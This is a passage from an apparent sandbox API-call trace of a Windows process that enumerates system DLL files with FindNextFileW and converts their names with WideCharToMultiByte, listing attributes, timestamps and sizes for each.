dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x1d7c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.339] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x1d7c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x1d7c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.340] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0031.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.341] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0031.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 